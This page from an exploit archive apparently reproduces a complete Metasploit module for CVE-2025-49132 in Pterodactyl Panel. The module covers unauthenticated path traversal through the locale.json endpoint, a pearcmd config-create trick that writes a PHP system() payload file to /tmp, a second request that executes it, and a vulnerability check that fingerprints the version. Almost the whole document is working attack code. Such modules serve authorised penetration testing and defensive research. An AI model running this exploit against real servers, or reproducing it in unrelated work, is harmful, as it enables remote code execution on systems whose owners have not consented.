Share
## https://sploitus.com/exploit?id=PACKETSTORM:227072
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Pterodactyl Panel CVE-2025-49132 Remote Code Execution',
            'Description' => %q{
              This module exploits a vulnerability in Pterodactyl Panel before version 1.11.11 that allows unauthenticated
              remote code execution through improper handling of locale file operations. The vulnerability
              exists in the locale.json endpoint which allows path traversal and arbitrary file creation. Code execution
              is in the context of the user running the webserver.
    
              The exploit leverages PEAR (PHP Extension and Application Repository) for command injection by creating a
              malicious payload file in the /tmp through path traversal, then executing it via PHP execution with pearcmd.
            },
            'Author' => [
              '0xtensho', # Original PoC
              'jheysel-r7', # MSF Module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-49132'],
              ['URL', 'https://github.com/0xtensho/CVE-2025-49132-poc']
            ],
            'Platform' => %w[unix linux],
            'Targets' => [
              [
                'Command Payload',
                {
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                }
              ]
            ],
            'Payload' => {
              'BadChars' => "\x20\x27",
              'EncoderType' => Msf::Encoder::Type::CmdPosixBase64
            },
            'DisclosureDate' => '2025-06-19',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => []
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Pterodactyl instance', '/']),
            OptString.new('UPLOAD_DIR', [false, 'Upload directory (defaults to the default webroot in the docker instance)', '/tmp']),
            OptString.new('TRAVERSAL_PATH', [false, 'Traversal path (defaults to the default install location of php in the )', '/usr/local/lib/php']),
            OptInt.new('TRAVERSAL_DEPTH', [false, 'Number of ../ segments to use during path traversal (default: 5)', 5]),
          ]
        )
      end
    
      def check
        # Try to detect the vulnerability by attempting a benign path traversal - this will not be accessible from a patched version
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'locales', 'locale.json?locale=../../&namespace=config/app')
        )
    
        if res&.code == 200
          json = res&.get_json_document
    
          if json.nil? || json.empty?
            return CheckCode::Unknown('Response did not contain a valid JSON document')
          end
    
          version = json.dig('../../', 'config/app', 'version')
          return CheckCode::Unknown('Response did not contain a valid version number') unless version
    
          rex_version = Rex::Version.new(version)
    
          if rex_version < Rex::Version.new('1.11.11')
            # Usually we return Appears for a version check but this version is only obtainable through exploiting
            # the vulnerability itself, so we can be confident that if we see this version, it's vulnerable
            return CheckCode::Vulnerable("Version found: #{version}")
          else
            # This code path should not be reachable in a patched version, but it's here just in case
            return CheckCode::Safe("Version found: #{version}")
          end
    
        elsif res&.code == 403 || res&.code == 404
          # Path traversal is being blocked
          return CheckCode::Safe('Path traversal is being blocked')
        end
    
        CheckCode::Unknown('Non-200 response received, unable to determine vulnerability status')
      end
    
      def exploit
        payload_code = generate_encoded_payload
        filename = "#{Rex::Text.rand_text_alpha(10).downcase}.php"
        traversal_depth = '../' * datastore['TRAVERSAL_DEPTH']
        upload_payload(payload_code, filename, traversal_depth)
        execute_payload(filename, traversal_depth)
      end
    
      def upload_payload(payload_code, filename, traversal_depth)
        upload_dir = datastore['UPLOAD_DIR']
        payload_file = File.join(upload_dir, filename)
    
        print_status("Uploading payload file to #{payload_file}")
        traverse_path = "#{traversal_depth}#{datastore['TRAVERSAL_PATH'].sub(%r{^/}, '')}"
        first_url = build_exploit_url(traverse_path, filename, payload_code, upload_dir)
    
        print_status('Sending initial payload creation request...')
        res1 = send_request_cgi(
          'method' => 'GET',
          'uri' => first_url
        )
    
        unless res1&.code == 200
          fail_with(Failure::UnexpectedReply, "Failed to upload payload file, server responded with code: #{res1&.code || 'no response'}")
        end
    
        register_file_for_cleanup(payload_file)
        print_status("Initial request response code: #{res1.code}")
      end
    
      def execute_payload(filename, traversal_depth)
        print_status('Triggering payload execution...')
        url2 = build_execution_url(filename.sub(/\.php$/, ''), traversal_depth)
    
        res2 = send_request_cgi(
          'method' => 'GET',
          'uri' => url2
        )
    
        if res2
          print_warning('The module received a response from the server, which may indicate the payload did not execute as expected')
        end
      end
    
      def generate_encoded_payload
        "<?=system('#{payload.encoded}')?>"
      end
    
      def build_exploit_url(traverse_path, filename, payload, upload_dir)
        base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
        url = "#{base_path}?+config-create+/&locale=#{traverse_path}&namespace=pearcmd&/#{payload}+/#{upload_dir}/#{filename}"
        vprint_status("Exploit URL: #{url}")
        url
      end
    
      def build_execution_url(filename_base, traversal_depth)
        base_path = normalize_uri(target_uri.path, 'locales', 'locale.json')
        url = "#{base_path}?locale=#{traversal_depth}#{datastore['UPLOAD_DIR']}&namespace=#{filename_base}"
        vprint_status("Execution URL: #{url}")
        url
      end
    end